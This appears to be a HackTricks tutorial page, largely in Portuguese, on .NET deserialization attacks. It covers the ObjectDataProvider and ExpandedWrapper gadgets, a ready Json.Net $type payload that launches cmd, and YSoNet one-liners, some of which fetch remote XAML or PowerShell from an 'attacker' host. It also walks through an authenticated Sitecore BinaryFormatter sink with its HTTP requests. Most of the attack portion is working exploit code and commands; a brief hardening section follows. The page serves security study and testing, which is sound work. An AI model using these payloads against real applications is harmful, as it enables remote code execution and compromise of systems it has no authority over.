Deserialização .Net Básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta postagem é dedicada a entender como o gadget ObjectDataProvider é explorado para obter RCE e como as bibliotecas de Serialização Json.Net e xmlSerializer podem ser abusadas com esse gadget.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Pois é, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite encapsular um objeto arbitrário, usar MethodParameters para definir parâmetros arbitrários, e então usar MethodName para chamar uma função arbitrária do objeto arbitrário declarada usando os parâmetros arbitrários.
Portanto, o arbitrário objeto irá executar uma função com parâmetros enquanto é desserializado.
Como isso é possível
O namespace System.Windows.Data, encontrado dentro do PresentationFramework.dll em C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, é onde o ObjectDataProvider é definido e implementado.
Usando dnSpy você pode inspecionar o código da classe que nos interessa. Na imagem abaixo estamos vendo o código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Como você pode observar, quando MethodName
é definido base.Refresh()
é chamado, vamos dar uma olhada no que isso faz:
Ok, vamos continuar vendo o que this.BeginQuery()
faz. BeginQuery
é sobrescrito por ObjectDataProvider
e isto é o que ele faz:
Note que no final do código ele está chamando this.QueryWorke(null)
. Vamos ver o que isso executa:
Note que este não é o código completo da função QueryWorker
, mas mostra a parte interessante dela: O código chama this.InvokeMethodOnInstance(out ex);
— esta é a linha onde o método definido é invocado.
Se você quer verificar que apenas definindo o MethodName ele será executado, você pode rodar este código:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Usando o exploit anterior, haverá casos em que o objeto será desserializado como uma instância ObjectDataProvider (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando GetType
). Nesse caso, não terá conhecimento do tipo de objeto que está encapsulado na instância ObjectDataProvider (Process
, por exemplo). Você pode encontrar mais information about the DotNetNuke vuln here.
Esta classe permite especificar os tipos de objeto dos objetos que estão encapsulados em uma dada instância. Portanto, esta classe pode ser usada para encapsular um objeto fonte (ObjectDataProvider) em um novo tipo de objeto e fornecer as propriedades de que precisamos (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Isto é muito útil para casos como o apresentado anteriormente, pois seremos capazes de envolver o ObjectDataProvider dentro de uma instância ExpandedWrapper e, quando desserializada, essa classe irá criar o objeto ObjectDataProvider que irá executar a função indicada em MethodName.
Você pode checar este wrapper com o código a seguir:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na official web page é indicado que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Portanto, se pudéssemos deserialize the ObjectDataProvider gadget, poderíamos causar uma RCE apenas desserializando um objeto.
Exemplo Json.Net
Antes de tudo, vamos ver um exemplo de como serialize/deserialize um objeto usando esta biblioteca:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusando do Json.Net
Usando ysoserial.net criei o exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Neste código você pode testar o exploit, basta executá-lo e você verá que o calc é executado:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
A técnica ObjectDataProvider + ExpandedWrapper apresentada acima é apenas uma entre MUITAS gadget chains que podem ser abusadas quando uma aplicação realiza unsafe .NET deserialization. Ferramentas modernas de red-team como YSoNet (e a mais antiga ysoserial.net) automatizam a criação de grafos de objetos maliciosos prontos para uso para dezenas de gadgets e formatos de serialização.
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Corrompe o registro DelegateSerializationHolder de modo que, uma vez materializado, o delegate aponte para qualquer método fornecido pelo atacante (p.ex. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para bypass .NET ≥4.8 type-filtering e invocar diretamente o construtor de uma classe fornecida ou compilar um arquivo C# em tempo de execução | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Explora a representação XML legado de System.Data.DataSet para instanciar tipos arbitrários preenchendo os campos <ColumnMapping> / <DataType> (opcionalmente forjando a assembly com --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Em runtimes com WPF (> .NET 5) encadeia getters de propriedades até alcançar System.CodeDom.Compiler.CompilerResults , então compila ou carrega uma DLL fornecida com -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Usa o WPF System.Windows.Data.ObjectDataProvider para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma conveniente variante --xamlurl para hospedar o XAML malicioso remotamente | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Incorpora ScriptBlock em System.Management.Automation.PSObject que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Todos os payloads são escritos em stdout por padrão, tornando trivial encaminhá-los (pipe) para outras ferramentas (p.ex. geradores de ViewState, encoders base64, clientes HTTP).
Building / Installing YSoNet
Se não houver binários pré-compilados em Actions ➜ Artifacts / Releases, o seguinte one-liner em PowerShell irá configurar um ambiente de build, clonar o repositório e compilar tudo no modo Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
Detecção & Hardening
- Detecte processos filhos inesperados de
w3wp.exe
,PowerShell.exe
, ou qualquer processo que esteja desserializando dados fornecidos pelo usuário (por exemploMessagePack
,Json.NET
). - Habilite e imponha type-filtering (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) sempre que oBinaryFormatter
/NetDataContractSerializer
legado não puder ser removido. - Sempre que possível migre para
System.Text.Json
ouDataContractJsonSerializer
com conversores baseados em whitelist. - Bloqueie assemblies WPF perigosos (
PresentationFramework
,System.Workflow.*
) de serem carregados em processos web que nunca deveriam precisar deles.
Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
envolvenew BinaryFormatter().Deserialize(...)
. - Caminho de gatilho: pipeline
convertToRuntimeHtml
→ConvertWebControls
, que procura por um elemento irmão comid="{iframeId}_inner"
e lê um atributovalue
que é tratado como dados serializados codificados em base64. O resultado é convertido para string e inserido no HTML.
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: qualquer BinaryFormatter chain que retorna uma string (side‑effects executados durante a desserialização). Veja YSoNet/ysoserial.net para gerar payloads.
Para uma cadeia completa que começa pre‑auth com HTML cache poisoning em Sitecore e leva a este sink:
Referências
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.